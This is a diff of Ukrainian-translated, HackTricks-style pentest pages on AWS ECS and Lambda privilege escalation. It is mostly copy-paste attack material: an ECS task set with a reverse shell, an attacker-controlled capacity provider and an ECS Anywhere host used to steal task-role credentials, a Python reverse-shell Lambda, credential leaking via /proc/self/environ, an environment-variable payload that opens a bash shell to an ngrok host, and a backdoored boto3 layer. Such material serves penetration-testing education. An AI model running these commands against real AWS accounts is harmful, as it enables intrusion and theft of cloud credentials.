Перегляньте на сторінці **ec2 privesc**, як можна зловживати цими дозволами, щоб **privesc до ECS**:
|
||||
Перегляньте **ec2 privesc page**, щоб дізнатися, як зловживати цими дозволами для **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-privesc/README.md
|
||||
@@ -283,16 +283,16 @@ aws ecs execute-command --interactive \
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
Зловмисник з такими дозволами потенційно може зареєструвати EC2 instance в ECS кластері та запускати на ньому tasks. Це може дозволити зловмиснику виконувати довільний код у контексті ECS tasks.
|
||||
Зловмисник з такими дозволами потенційно може зареєструвати EC2 інстанс у ECS кластері та запускати на ньому tasks. Це може дозволити зловмиснику виконувати довільний код у контексті ECS tasks.
|
||||
|
||||
- TODO: Чи можливо зареєструвати instance з іншого AWS account так, щоб tasks запускалися на машинах, контрольованих зловмисником??
|
||||
- TODO: Чи можливо зареєструвати інстанс з іншого AWS акаунту, щоб tasks запускалися на машинах, контрольованих зловмисником??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Протестувати це
|
||||
> TODO: Протестувати
|
||||
|
||||
Зловмисник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий task set для існуючого ECS сервісу та оновити primary task set**. Це дозволяє зловмиснику **виконувати довільний код у межах сервісу**.
|
||||
Зловмисник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити зловмисний task set для існуючого ECS service та оновити primary task set**. Це дозволяє зловмиснику **виконувати довільний код у межах сервісу**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,13 +318,13 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Потенційний вплив**: Виконання довільного коду у вразливому сервісі, що може вплинути на його функціональність або призвести до викрадення конфіденційних даних.
|
||||
**Можливий вплив**: Виконання довільного коду в ураженому сервісі, що може вплинути на його роботу або спричинити витік конфіденційних даних.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -332,35 +332,49 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Зловмисник з правами на керування ECS capacity providers та оновлення сервісів може створити EC2 Auto Scaling Group під своїм контролем, обгорнути її в ECS Capacity Provider, асоціювати з цільовим кластером і перемістити жертвенний сервіс на цей provider. Tasks будуть плануватися на EC2 інстанси, контрольовані атакуючим, що забезпечить доступ на рівні ОС для огляду контейнерів та викрадення task role credentials.
|
||||
Зловмисник із дозволами на керування ECS capacity providers та оновлення сервісів може створити EC2 Auto Scaling Group під своїм контролем, обгорнути її в ECS Capacity Provider, асоціювати з цільовим кластером і перемістити сервіс жертви на використання цього provider. Tasks будуть розміщені на EC2 інстансах, контрольованих зловмисником, що дає доступ на рівні ОС для інспекції контейнерів і викрадення task role credentials.
|
||||
|
||||
Commands (us-east-1):
|
||||
Команди (us-east-1):
|
||||
|
||||
- Попередні вимоги
|
||||
|
||||
- Create Launch Template for ECS agent to join target cluster
|
||||
|
||||
- Create Auto Scaling Group
|
||||
|
||||
- Create Capacity Provider from the ASG
|
||||
|
||||
- Associate the Capacity Provider to the cluster (optionally as default)
|
||||
|
||||
- Migrate a service to your provider
|
||||
|
||||
- Verify tasks land on attacker instances
|
||||
|
||||
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
|
||||
|
||||
- Cleanup
|
||||
- Передумови
|
||||
|
||||
|
||||
|
||||
**Потенційний вплив:** EC2 ноди під контролем атакуючого отримують завдання жертви, що дозволяє доступ на рівні ОС до контейнерів та викрадення task IAM role credentials.
|
||||
- Створити Launch Template для ECS agent, щоб приєднатися до цільового кластеру
|
||||
|
||||
|
||||
|
||||
- Створити Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- Створити Capacity Provider з ASG
|
||||
|
||||
|
||||
|
||||
- Асоціювати Capacity Provider з кластером (опційно як за замовчуванням)
|
||||
|
||||
|
||||
|
||||
- Перемістити сервіс на ваш Capacity Provider
|
||||
|
||||
|
||||
|
||||
- Перевірити, що tasks запускаються на інстансах зловмисника
|
||||
|
||||
|
||||
|
||||
- Опційно: з EC2 ноди виконати docker exec в цільові контейнери та прочитати http://169.254.170.2 щоб отримати task role credentials.
|
||||
|
||||
- Очищення
|
||||
|
||||
|
||||
|
||||
**Можливий вплив:** EC2 ноди, контрольовані зловмисником, отримують задачі жертви, що дає доступ на рівні ОС до контейнерів і дозволяє викрадення IAM облікових даних ролі задачі.
|
||||
|
||||
|
||||
<details>
|
||||
<summary>Step-by-step commands (copy/paste)</summary>
|
||||
<summary>Покрокові команди (копіювати/вставити)</summary>
|
||||
<pre>
|
||||
export AWS_DEFAULT_REGION=us-east-1
|
||||
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
|
||||
@@ -395,23 +409,23 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
|
||||
Зловживання ECS Anywhere для реєстрації хоста під контролем атакуючого як EXTERNAL container instance у постраждалому ECS cluster та запуску tasks на цьому хості з використанням привілейованих task та execution ролей. Це дає контроль на рівні ОС над тим, де запускаються tasks (ваша власна машина) і дозволяє викрадати credentials/дані з tasks та підключених томів без втручання в capacity providers або ASGs.
|
||||
Зловживати ECS Anywhere, щоб зареєструвати хост, контрольований зловмисником, як EXTERNAL container instance у кластері ECS жертви і запускати tasks на цьому хості з привілейованими task та execution ролями. Це надає контроль на рівні ОС над тим, де виконуються tasks (ваша власна машина) і дозволяє викрадення облікових даних/даних з tasks та підключених томів без маніпуляцій з capacity providers або ASG.
|
||||
|
||||
- Необхідні дозволи (приклад мінімальних):
|
||||
- Потрібні дозволи (приклад мінімальні):
|
||||
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
|
||||
|
||||
- Вплив: Запуск довільних контейнерів з обраним taskRoleArn на хості атакуючого; викрадення task-role credentials з 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; доступ до будь-яких томів, змонтованих tasks; більш приховано ніж маніпулювання capacity providers/ASGs.
|
||||
- Наслідки: запуск довільних контейнерів з обраним taskRoleArn на хості зловмисника; викрадення task-role credentials з 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; доступ до будь-яких томів, змонтованих tasks; більш приховано, ніж маніпуляції з capacity providers/ASGs.
|
||||
|
||||
Steps
|
||||
Кроки
|
||||
|
||||
1) Create/identify cluster (us-east-1)
|
||||
1) Створити/ідентифікувати кластер (us-east-1)
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
2) Створити роль ECS Anywhere і активацію SSM (для on-prem/EXTERNAL instance)
|
||||
2) Створити роль ECS Anywhere та активацію SSM (для on-prem/EXTERNAL instance)
|
||||
```bash
|
||||
aws iam create-role --role-name ecsAnywhereRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
@@ -420,7 +434,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
3) Розгорнути attacker host та автоматично зареєструвати його як EXTERNAL (наприклад: невеликий AL2 EC2 як “on‑prem”)
|
||||
3) Розгорніть атакуючий хост і автоматично зареєструйте його як EXTERNAL (наприклад: невеликий AL2 EC2 як “on‑prem”)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
@@ -441,14 +455,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
4) Переконайтеся, що EXTERNAL екземпляр контейнера приєднався
|
||||
4) Перевірте, що EXTERNAL container instance приєднався
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
|
||||
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
|
||||
```
|
||||
5) Створити task/execution roles, зареєструвати EXTERNAL task definition та запустити його на attacker host
|
||||
5) Створити task/execution roles, зареєструвати EXTERNAL task definition та запустити на attacker host
|
||||
```bash
|
||||
# roles
|
||||
aws iam create-role --role-name ht-ecs-task-exec \
|
||||
@@ -484,53 +498,54 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
6) Звідси ви контролюєте хост, який запускає завдання. Ви можете читати логи завдань (if awslogs) або безпосередньо виконати exec на хості, щоб ексфільтрувати облікові дані/дані зі своїх завдань.
|
||||
6) Звідси ви контролюєте хост, який запускає tasks. Ви можете читати task logs (if awslogs) або безпосередньо exec на хості, щоб exfiltrate credentials/data з ваших tasks.
|
||||
|
||||
|
||||
|
||||
#### Приклад команди (placeholders)
|
||||
#### Приклад команди (з плейсхолдерами)
|
||||
|
||||
|
||||
|
||||
|
||||
### Перехоплення планування ECS через зловмисний Capacity Provider (EC2 ASG takeover)
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Зловмисник, який має права керувати ECS capacity providers та оновлювати сервіси, може створити EC2 Auto Scaling Group під своїм контролем, обгорнути її в ECS Capacity Provider, асоціювати з цільовим кластером і мігрувати сервіс жертви для використання цього провайдера. Завдання будуть заплановані на EC2 інстанси, контрольовані атакуючим, що дозволяє доступ на рівні ОС для інспекції контейнерів та викрадення облікових даних ролі завдання.
|
||||
Зловмисник із дозволами на керування ECS capacity providers та оновлення services може створити EC2 Auto Scaling Group під своїм контролем, загорнути його в ECS Capacity Provider, пов’язати з цільовим cluster і перемістити сервіс жертви, щоб він використовував цей provider. Tasks тоді будуть заплановані на EC2 instances під контролем зловмисника, що дає доступ на рівні ОС для інспекції контейнерів і крадіжки task role credentials.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- Передумови
|
||||
- Попередні вимоги
|
||||
|
||||
|
||||
|
||||
- Create Launch Template for ECS agent to join target cluster
|
||||
- Створити Launch Template для ECS agent, щоб приєднатися до target cluster
|
||||
|
||||
|
||||
|
||||
- Create Auto Scaling Group
|
||||
- Створити Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- Create Capacity Provider from the ASG
|
||||
- Створити Capacity Provider з ASG
|
||||
|
||||
|
||||
|
||||
- Associate the Capacity Provider to the cluster (optionally as default)
|
||||
- Пов’язати Capacity Provider з cluster (опційно як default)
|
||||
|
||||
|
||||
|
||||
- Migrate a service to your provider
|
||||
- Перемістити service на ваш provider
|
||||
|
||||
|
||||
|
||||
- Verify tasks land on attacker instances
|
||||
- Перевірити, що tasks потрапляють на інстанси зловмисника
|
||||
|
||||
|
||||
|
||||
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
|
||||
- Необов’язково: з EC2 node виконати docker exec в target containers і прочитати http://169.254.170.2, щоб отримати task role credentials.
|
||||
|
||||
- Прибирання
|
||||
- Очищення
|
||||
|
||||
|
||||
|
||||
**Потенційний вплив:** EC2 вузли, контрольовані атакуючим, отримують завдання жертви, що дає змогу доступу на рівні ОС до контейнерів та викрадення облікових даних IAM ролі завдання.
|
||||
**Potential Impact:** EC2 nodes під контролем зловмисника отримують tasks жертви, що дає змогу доступу на рівні ОС до контейнерів і крадіжки task IAM role credentials.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+54
-54
@@ -12,11 +12,11 @@
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Користувачі з правами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:InvokeFunction`** можуть підвищити свої привілеї.\
|
||||
Вони можуть **створити нову Lambda-функцію та призначити їй існуючу IAM роль**, надавши функції права, пов'язані з цією роллю. Потім користувач може **написати й завантажити код у цю Lambda-функцію (наприклад, з rev shell)**.\
|
||||
Коли функція налаштована, користувач може **запустити її виконання** та виконати потрібні дії, викликаючи Lambda-функцію через AWS API. Такий підхід фактично дозволяє користувачеві виконувати завдання опосередковано через Lambda-функцію, діючи з рівнем доступу, наданим пов'язаній з нею IAM ролі.\\
|
||||
Користувачі з дозволами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:InvokeFunction`** можуть підвищити свої привілеї.\
|
||||
Вони можуть **create a new Lambda function and assign it an existing IAM role**, надаючи функції дозволи, пов'язані з цією роллю. Користувач може потім **write and upload code to this Lambda function (with a rev shell for example)**.\
|
||||
Після налаштування функції користувач може **ініціювати її виконання** та виконати потрібні дії, викликавши Lambda function через AWS API. Такий підхід фактично дозволяє користувачеві виконувати завдання опосередковано через Lambda function, діючи з рівнем доступу, який надає пов'язана з нею IAM role.\\
|
||||
|
||||
Зловмисник може зловживати цим, щоб отримати **rev shell і вкрасти токен**:
|
||||
A attacker could abuse this to get a **rev shell and steal the token**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
Ви також можете **abuse the lambda role permissions** безпосередньо з самої lambda function.\
|
||||
Якщо lambda role мав би достатні permissions, ви могли б використати його, щоб надати собі admin права:
|
||||
Ви також можете **зловживати дозволами ролі lambda** з самої lambda-функції.\
|
||||
Якщо роль lambda має достатні дозволи, ви можете використати її, щоб надати собі права адміністратора:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
Також можна leak the lambda's role credentials без необхідності зовнішнього з'єднання. Це буде корисно для **Network isolated Lambdas**, що виконують внутрішні завдання. Якщо невідомі security groups фільтрують ваші reverse shells, цей фрагмент коду дозволить вам безпосередньо leak the credentials як вивід lambda.
|
||||
Також можливо leak the lambda's role credentials без потреби у зовнішньому з'єднанні. Це буде корисно для **Network isolated Lambdas**, які використовуються для внутрішніх завдань. Якщо невідомі security groups фільтрують ваші reverse shells, ця частина коду дозволить вам безпосередньо leak the credentials як вивід lambda.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -72,34 +72,34 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**Potential Impact:** Пряме privesc до довільної вказаної ролі сервісу lambda.
|
||||
**Потенційний вплив:** Прямий privesc до зазначеної довільної ролі сервісу lambda.
|
||||
|
||||
> [!CAUTION]
|
||||
> Зауважте, що навіть якщо це може виглядати цікаво, **`lambda:InvokeAsync`** **не** дозволяє самостійно **виконати `aws lambda invoke-async`**, вам також потрібен `lambda:InvokeFunction`
|
||||
> Зверніть увагу, що навіть якщо це може виглядати цікаво, **`lambda:InvokeAsync`** **не** дозволяє саме по собі виконати **`aws lambda invoke-async`**, вам також потрібен `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
Як і в попередньому сценарії, ви можете надати собі дозвіл **`lambda:InvokeFunction`**, якщо у вас є дозвіл **`lambda:AddPermission`**
|
||||
Як і в попередньому сценарії, ви можете **наділити себе дозволом `lambda:InvokeFunction`**, якщо у вас є дозвіл **`lambda:AddPermission`**
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**Можливий вплив:** Direct privesc до довільної IAM ролі сервісу lambda, вказаної вами.
|
||||
**Potential Impact:** Прямий privesc до довільної вказаної ролі сервісу lambda.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
Користувачі з **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** дозволами (та можливо `dynamodb:PutItem` і `dynamodb:CreateTable`) можуть опосередковано **escalate privileges** навіть без `lambda:InvokeFunction`.\
|
||||
Вони можуть створити **Lambda function with malicious code and assign it an existing IAM role**.
|
||||
Користувачі з дозволами **`iam:PassRole`, `lambda:CreateFunction`, і `lambda:CreateEventSourceMapping`** (а також, можливо, `dynamodb:PutItem` та `dynamodb:CreateTable`) можуть опосередковано **escalate privileges**, навіть без `lambda:InvokeFunction`.\
|
||||
Вони можуть створити **Lambda function зі шкідливим кодом і призначити їй існуючу IAM role**.
|
||||
|
||||
Замість того, щоб напряму викликати Lambda, користувач налаштовує або використовує наявну таблицю DynamoDB, пов’язуючи її з Lambda через event source mapping. Ця конфігурація гарантує, що Lambda function буде **автоматично викликатися при появі нового елемента** у таблиці, або внаслідок дії користувача, або іншого процесу, тим самим опосередковано викликаючи Lambda function і виконуючи код з правами переданої IAM ролі.
|
||||
Замість прямого виклику Lambda користувач налаштовує або використовує існуючу DynamoDB table, пов'язуючи її з Lambda через event source mapping. Це налаштування гарантує, що Lambda function **автоматично спрацьовує при додаванні нового елемента** в таблиці, чи то внаслідок дії користувача, чи іншого процесу, таким чином опосередковано викликаючи Lambda function і виконуючи код з правами переданої IAM role.
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
Якщо DynamoDB уже активний в AWS-середовищі, користувачу лише **потрібно налаштувати event source mapping** для Lambda-функції. Однак, якщо DynamoDB не використовується, користувач повинен **створити нову таблицю** з увімкненим стрімінгом:
|
||||
Якщо DynamoDB вже активовано в середовищі AWS, користувачу потрібно лише **налаштувати event source mapping** для функції Lambda. Однак якщо DynamoDB не використовується, користувачу потрібно **створити нову таблицю** з увімкненим streaming:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
Тепер можна **підключити функцію Lambda до таблиці DynamoDB** шляхом **створення event source mapping**:
|
||||
Тепер можна **підключити Lambda function до DynamoDB table**, створивши **event source mapping**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Якщо Lambda-функція пов'язана з DynamoDB stream, зловмисник може **непрямо запустити Lambda, активувавши DynamoDB stream**. Це можна зробити, **додавши запис у таблицю DynamoDB**:
|
||||
Коли функція Lambda пов'язана з DynamoDB stream, зловмисник може **непрямо запустити Lambda, активувавши DynamoDB stream**. Це можна зробити шляхом **вставлення запису** до таблиці DynamoDB:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**Potential Impact:** Пряме privesc до вказаної службової ролі lambda.
|
||||
**Потенційний вплив:** Пряме privesc до вказаної ролі сервісу lambda.
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
Атакувальник з цим дозволом може **надавати собі (або іншим) будь-які дозволи** (це створює ресурсні політики для надання доступу до ресурсу):
|
||||
Зловмисник з цим дозволом може **надавати собі (або іншим) будь-які дозволи** (це створює політики на основі ресурсів для надання доступу до ресурсу):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**Potential Impact:** Прямий privesc до ролі сервісу lambda шляхом надання дозволу змінювати код і запускати його.
|
||||
**Potential Impact:** Прямий privesc до службової ролі lambda шляхом надання дозволу змінювати код і запускати його.
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
Зловмисник, який має цей дозвіл, може **наділити себе (або інших) дозволом `lambda:GetLayerVersion`**. Він може отримати доступ до layer і шукати вразливості або конфіденційну інформацію
|
||||
Зловмисник з цим дозволом може **надавати собі (або іншим) дозвіл `lambda:GetLayerVersion`**. Він може отримати доступ до layer і шукати вразливості або чутливу інформацію.
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
**Потенційний вплив:** Можливий доступ до конфіденційної інформації.
|
||||
**Potential Impact:** Потенційний доступ до конфіденційної інформації.
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Користувачі, які мають дозволи **`lambda:UpdateFunctionCode`**, можуть **змінити код існуючої функції Lambda, пов'язаної з роллю IAM.**\
|
||||
Атакувальник може **змінити код Lambda, щоб exfiltrate облікові дані IAM**.
|
||||
Користувачі, які мають дозвіл **`lambda:UpdateFunctionCode`**, можуть **змінити код існуючої Lambda-функції, яка пов’язана з роллю IAM.**\
|
||||
Атакуючий може **змінити код Lambda, щоб експфільтрувати облікові дані IAM**.
|
||||
|
||||
Хоча атакувальник може не мати прямої можливості викликати функцію, якщо функція Lambda вже існує й працює, ймовірно, вона буде запускатися через існуючі робочі процеси або події, тим самим опосередковано сприяючи виконанню зміненого коду.
|
||||
Хоча атакуючий може не мати прямої можливості викликати функцію, якщо Lambda-функція вже існує та працює, ймовірно, вона буде викликатися через існуючі робочі процеси або події, що опосередковано дозволяє виконати змінений код.
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**Potential Impact:** Прямий privesc до ролі сервісу lambda, що використовується.
|
||||
**Потенційний вплив:** Прямий privesc до ролі сервісу lambda, що використовується.
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE через змінні оточення
|
||||
#### RCE via env variables
|
||||
|
||||
Маючи ці дозволи, можна додати змінні оточення, які спричинять виконання довільного коду в Lambda. Наприклад, у python можна зловживати змінними оточення `PYTHONWARNING` і `BROWSER`, щоб змусити процес python виконати довільні команди:
|
||||
З цими дозволами можна додати environment variables, які спричинять виконання довільного коду Lambda. Наприклад, в python можна зловживати environment variables `PYTHONWARNING` і `BROWSER`, щоб змусити процес python виконати довільні команди:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
Для інших скриптових мов існують інші env variables, які ви можете використовувати. Для отримання додаткової інформації перегляньте підрозділи про скриптові мови в:
|
||||
Для інших scripting languages існують інші env variables, які ви можете використовувати. Для додаткової інформації перегляньте підрозділи scripting languages у:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
|
||||
|
||||
#### RCE через Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) дозволяє включати **code** у вашу Lambda function, але **зберігати його окремо**, тож function code може залишатися невеликим і **кілька функцій можуть спільно використовувати code**.
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) дозволяє включати **code** у ваш lamdba function, але **зберігати його окремо**, тому код функції може залишатися невеликим і **кілька функцій можуть спільно використовувати code**.
|
||||
|
||||
Всередині Lambda ви можете перевірити шляхи, звідки завантажується python code за допомогою функції, схожої на наведену нижче:
|
||||
Всередині lambda ви можете перевірити шляхи, звідки завантажується python code за допомогою функції на кшталт наступної:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -185,7 +185,7 @@ import sys
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(sys.path, indent=2))
|
||||
```
|
||||
Це місця:
|
||||
These are the places:
|
||||
|
||||
1. /var/task
|
||||
2. /opt/python/lib/python3.7/site-packages
|
||||
@@ -200,18 +200,18 @@ print(json.dumps(sys.path, indent=2))
|
||||
|
||||
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
|
||||
|
||||
#### Експлуатація
|
||||
#### Exploitation
|
||||
|
||||
Можна зловживати дозволом `lambda:UpdateFunctionConfiguration`, щоб **додати новий layer** до функції lambda. Щоб виконати довільний код, цей layer має містити якусь **бібліотеку, яку lambda буде імпортувати.** Якщо ви можете прочитати код lambda, ви можете легко це знайти; також зауважте, що можливо lambda **вже використовує layer**, і ви могли б **завантажити** цей layer та **додати свій код** у нього.
|
||||
It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.
|
||||
|
||||
Наприклад, припустимо, що lambda використовує бібліотеку boto3 — це створить локальний layer з останньою версією бібліотеки:
|
||||
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
Ви можете відкрити `./lambda_layer/boto3/__init__.py` і **додати backdoor у глобальний код** (наприклад функцію для exfiltrate credentials або для отримання reverse shell).
|
||||
Ви можете відкрити `./lambda_layer/boto3/__init__.py` і **додати backdoor у глобальний код** (наприклад, функцію для exfiltrate credentials або для отримання reverse shell).
|
||||
|
||||
Потім заархівуйте директорію `./lambda_layer` і **завантажте новий lambda layer** у власний акаунт (або в акаунт жертви, але у вас може не бути дозволів на це).\
|
||||
Зверніть увагу, що потрібно створити папку python і помістити туди бібліотеки, щоб перевизначити /opt/python/boto3. Також layer має бути **compatible with the python version**, яку використовує lambda, і якщо ви завантажуєте його у свій акаунт, він має бути в **same region:**
|
||||
Потім запакуйте директорію `./lambda_layer` у zip і **завантажте новий lambda layer** у свій обліковий запис (або в обліковий запис жертви, але у вас може не бути дозволів для цього).\
|
||||
Зверніть увагу, що потрібно створити папку python і помістити туди бібліотеки, щоб перезаписати /opt/python/boto3. Також layer має бути **сумісним з версією python**, яку використовує lambda, і якщо ви завантажуєте його у свій акаунт, він має бути в **тому ж регіоні:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
@@ -221,30 +221,30 @@ aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
І прикріпіть lambda layer до victim lambda function:
|
||||
І прикріпіть lambda layer до цільової lambda function:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
